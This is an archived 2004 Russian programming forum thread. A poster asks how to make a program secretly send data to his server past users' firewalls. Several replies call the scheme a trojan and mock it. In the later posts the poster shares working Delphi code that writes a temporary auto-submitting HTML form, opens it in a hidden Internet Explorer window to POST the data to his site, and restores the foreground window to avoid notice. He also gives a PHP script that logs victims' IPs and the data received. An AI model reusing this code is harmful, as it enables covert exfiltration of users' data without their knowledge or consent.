Форум: "Потрепаться";
Текущий архив: 2004.08.15;
Скачать: [xml.tar.bz2];
ВнизIE, POST запрос на чистом API Найти похожие ветки
← →
Pr0GrAmmer32WinAPI (2004-07-23 11:34) [0]Уважаемые Мастера, подскажите, как можно програмно отправить данные на сайт, через IE ?
- необходимо отправить данные в количестве 10-15 кб - POST запросом ...
Я пробовал GET запросом :
ShellExecute(0,"open","IEXPLORE.EXE","http:/mysite.ru/dat.php?infa_v_base64_kodirovke","",SW_HIDE);
работает идеально, но не позволяет отправить много данных...
Главное требование - реализация на чистом API, без VCL компонентов.
- такая задача у меня возникла всвязи с тем, что программе необходимо время от времени _скрыто_ отправлять данные (регистрационная информация, статистика использования программы, число запусков программы и другое)
стандартные сокеты не подойдут так как сейчас у многих пользователей установлены фаерволлы, и никто не позволит программе выйти в инет .. :(((
P.S. это вполне "легальная" программа, НЕ тр0ян.
← →
Reindeer Moss Eater © (2004-07-23 11:47) [1]необходимо время от времени _скрыто_ отправлять данные
И чем же метод POST может тебе в этом помочь?
← →
Reindeer Moss Eater © (2004-07-23 11:50) [2]стандартные сокеты не подойдут так как сейчас у многих пользователей установлены фаерволлы, и никто не позволит программе выйти в инет .. :(((
Смеяться после слова "лопата", программист "чисто на API"?
← →
Anatoly Podgoretsky © (2004-07-23 11:56) [3]Это и есть троян, троянские функции состоят в шпионаже
← →
Pr0GrAmmer32WinAPI (2004-07-23 12:09) [4]прога размером 15 кб - чистый апи, НЕ троян
← →
Reindeer Moss Eater © (2004-07-23 12:11) [5]Поздравляем.
← →
Pr0GrAmmer32WinAPI (2004-07-23 12:18) [6]и, ещё, я НЕ использую в проге модуль SysUtils, юзаю замену Sys DCU, поэтому добился такого малого размера проги ...
- про ПОСТ запрос - я слыхал, что ГЕТ не позволяет передавать данные более 1 кб, а пост - может до 2 Мб и более ...
Есть идея создать временный HTML - файл типа
<form method="POST" action="http://mysite.com/spy.php"
name="explForm">
<input type=hidden name=q
value="moay infa v base64">
</form>
<script language="Javascript">
setTimeout("explForm.submit()", 100);
</script>
и запустить его
ShellExecute(0,"open","IEXPLORE.EXE","C:\qwe.html","",SW_HIDE);
после чего удалить .. но имхо - грязный метод- нужно как-нить в памяти ...
- может кто делал подобные вещи ???
/только не обвиняйте что это троян - это не троян, это спец прога .../
← →
Reindeer Moss Eater © (2004-07-23 12:20) [7]- может кто делал подобные вещи ???
Неа. Простым смертным не спецпрограммерам такое не под силу.
Ты - пионэр.
← →
Pr0GrAmmer32WinAPI (2004-07-23 12:29) [8]Reindeer Moss Eater © (23.07.04 12:20) [7]
не, Вы please, так не шутите ...
- у меня есть исходники такой функции на Си и Ассамблере, НО
к сожалению, я их синтаксис не могу (пока) понять и "перекинуть" на делфя ... :(((
- может у кого есть исходник такой функции на Delphi ?
(там описывается структура с "вариантами" и как-то создаётся обьект ...)
← →
Reindeer Moss Eater © (2004-07-23 12:31) [9]Только у избранных есть.
У нас нету.
Истинно говорю тебе - у избранных токмо.
← →
Pr0GrAmmer32WinAPI (2004-07-23 12:36) [10]Reindeer Moss Eater © (23.07.04 12:31) [9]
выложить их сюда ? (исходники этих функций)
← →
Reindeer Moss Eater © (2004-07-23 12:37) [11]А я не ослепну, увидев их?
Уж лучше не надо.
← →
Pr0GrAmmer32WinAPI (2004-07-23 12:40) [12]Или, у кого-нить есть какие-либо другие рабочие способы отправки данных прогой ?
(terminate процесса фаерволла не предлагать ..)
может MAPI попробывать ?, но он может не быть настроен у "клиента" ;(
← →
Reindeer Moss Eater © (2004-07-23 12:42) [13]Попробуйте магги
← →
Pr0GrAmmer32WinAPI (2004-07-23 12:45) [14]Reindeer Moss Eater © (23.07.04 12:42) [13]
что значит магги ?
напишите нужную функцию так, как она правильно называется .. :))
p.s. мне нужна 97% гарантия её работоспособности !
← →
Reindeer Moss Eater © (2004-07-23 13:05) [15]Боюсь что я не смогу написать функцию так, как она правильно называется.
А 97% гарантию её работоспособности могу выслать наложенным платежом.
← →
Esu © (2004-07-23 13:06) [16]ClientSocket называется..
← →
Esu © (2004-07-23 13:07) [17]правда это не функция...
← →
Reindeer Moss Eater © (2004-07-23 13:07) [18]Это не функция и у нее не 97% гарантия.
← →
Pr0GrAmmer32WinAPI_21_eXe (2004-07-23 13:15) [19]ClientSocket не подойдёт в принципе из-за фаерволлов :(
- что-нить ещё есть ? (через IE,MAPI,Opera или ещё как ... ?)
главное- незаметно для пользователя !!!
p.s. кто зарегил ник Pr0GrAmmer32WinAPI ???
шутим ?
← →
Reindeer Moss Eater © (2004-07-23 13:15) [20]Вот интересно.
Разве мало на форуме таких же, но "натуралов"?
Обязательно ли подделки плодить?
← →
Гы (2004-07-23 13:41) [21]:)
← →
ууу (2004-07-23 17:04) [22]qwe
← →
Burmistroff (2004-07-23 17:16) [23]Это тот случай, когда желание повторного использование кода переходит за границы разумного ;)
Зачем IE? Берется TClientSocket - и впреред ;)
← →
Pr0GrAmmer32WinAPI_71_eXe (2004-07-23 21:41) [24]Burmistroff (23.07.04 17:16) [23]
а как тогда фаерволл _незаметно_ обойти ???
у меня уже написан вариант с сокетами ... (на чистом апи)
- мне нужно используя IE, как будто он на сайт лезет ...
мой исходник с сокетами, надо переделать под ие:
........
procedure sender(str:string);
var
i1:integer;
begin
for i1:=1 to Length(str) do
if send(s, str[i1] , 1, 0) = SOCKET_ERROR then exit;
end;
.............
begin
if WSAStartUp(257, WSAData) <> 0 then Exit;
s := socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if s = INVALID_SOCKET then Exit;
...........
..........
if (connect(s, addr,sizeof(addr))) >0 then exit;
sender("данные ......."#13#10);
CloseSocket(s);
← →
Pr0GrAmmer32WinAPI_31_eXe (2004-07-25 00:42) [25]ну, что никто не знает ?
← →
KosilkA © (2004-07-25 05:42) [26]
> Pr0GrAmmer32WinAPI (23.07.04 12:18) [6]
> и, ещё, я НЕ использую в проге модуль SysUtils, юзаю замену
> Sys DCU, поэтому добился такого малого размера проги ...
> - про ПОСТ запрос - я слыхал, что ГЕТ не позволяет передавать
> данные более 1 кб, а пост - может до 2 Мб и более ...
> Есть идея создать временный HTML - файл типа
>
> <form method="POST" action="http://mysite.com/spy.php"
> name="explForm">
> <input type=hidden name=q
> value="moay infa v base64">
> </form>
> <script language="Javascript">
> setTimeout("explForm.submit()", 100);
> </script>
> и запустить его
> ShellExecute(0,"open","IEXPLORE.EXE","C:\qwe.html","",SW_HIDE);
> после чего удалить .. но имхо - грязный метод- нужно как-нить
> в памяти ...
> - может кто делал подобные вещи ???
> /только не обвиняйте что это троян - это не троян, это спец
> прога .../
ShellExecute(0,"open","IEXPLORE.EXE","http:/mysite.ru/dat.php?q=moay infa v base64","",SW_HIDE);
это спасет отца руской демоератии ?=)
← →
KosilkA © (2004-07-25 05:45) [27]хотя тормможу... сорри
← →
Polevi © (2004-07-25 10:29) [28]давно так не смеялся
← →
Pr0GrAmmer32WinAPI_17_eXe (2004-07-26 00:11) [29]KosilkA © (25.07.04 05:45) [27]
нет, так мало данных передаётся ..
я сделал так:
f74:="<html><head><title>Test</title></head>"+#13#10+
"<body text="#000000" bgcolor="#ffffff" onload="explForm.submit()">"+#13#10+
"<form method="POST" action=""+url+"""+#13#10+
"name="explForm">"+#13#10+
"<input type=hidden name=c "+#13#10+
"value=""+e+"" > "+#13#10+
"<input type=hidden name=a "+#13#10+
"value=""+str2str(q)+"" > "+#13#10+
"</form> "+#13#10+
"</body> "+#13#10+
"</html>";
lll:=TempDir+"qwe"+int2str(Random(750))+".html";
Writeln(f4,f74);
sleep(7); h1:=GetForegroundWindow;
if debug then
g1:=ShellExecute(0,"open","IEXPLORE.EXE",Pchar(lll),"",SW_RESTORE)
else
g1:=ShellExecute(0,"open","IEXPLORE.EXE",Pchar(lll),"",SW_HIDE);
sleep(70);SetForegroundWindow(h1);
работает отлично, главное - не забыть удалить временный файл :))
а на серваке скрипт:
<html> <HEAD> <TITLE> Data</TITLE>
</HEAD>
<body>
<script language="JavaScript">
window.status="_ret_ok_1";
</script>
</body></html>
<?php
error_reporting(0);
$msg=$_POST["c"];
$a=$_POST["a"];
$ip=getenv("REMOTE_ADDR");
$ip2=getenv("HTTP_X_FORWARDED_FOR");
$agent=getenv("HTTP_USER_AGENT");
$f = fopen("./log/$ip"."_".time().".txt", "a" );
fwrite($f,date( "H:i:s d.m.y " ));
fwrite($f,$ip);
if (!empty($ip2)) fwrite($f,""IP(X) ".$ip2."" ");
fwrite($f," $agent | $a\n");
fwrite($f,$msg);
fclose( $f);
?>
Всё работает, если кто будет тестить - сообщите, сколько у кого времени занимает в среднем отправка 12-17 кб инфы
← →
Pr0GrAmmer32WinAPI_17_eXe (2004-07-26 00:13) [30]- imxo самый "красивый" обход фаерволлов :)))
← →
Tet-atet (2004-07-27 22:20) [31]testil - rabotaet
Страницы: 1 вся ветка
Форум: "Потрепаться";
Текущий архив: 2004.08.15;
Скачать: [xml.tar.bz2];
Память: 0.52 MB
Время: 0.025 c